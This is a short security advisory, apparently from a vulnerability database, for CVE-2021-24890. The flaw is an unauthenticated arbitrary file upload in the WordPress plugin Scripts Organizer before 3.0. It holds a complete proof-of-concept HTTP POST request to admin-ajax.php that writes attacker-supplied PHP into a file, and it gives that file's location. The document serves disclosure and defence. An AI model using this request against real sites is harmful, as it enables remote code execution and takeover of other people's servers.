Scripts Organizer < 3.0 – Unauthenticated Arbitrary File Upload | CVE 2021-24890

Description

The plugin does not have capability and CSRF checks in the saveScript AJAX action, available to both unauthenticated and authenticated users, and does not validate user input in any way, which could allow unauthenticated users to put arbitrary PHP code in a file

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 295

action=saveScript&php_script=%22%3C%3Fphp+die('test')%3B%22&SCORG_enable_script=1&form_data=post_status%3Dpublish%26post_name%3Dtest%26post_author%3D1%26post_name%3Dtest%26post_ID%3D200%26post_title%3Dtest%26SCORG_enable_script%3D1%26SCORG_trigger_location%3Deverywhere%26SCORG_script_type%3Dphp


The file will be at https://example.com/wp-content/uploads/scripts-organizer/200.php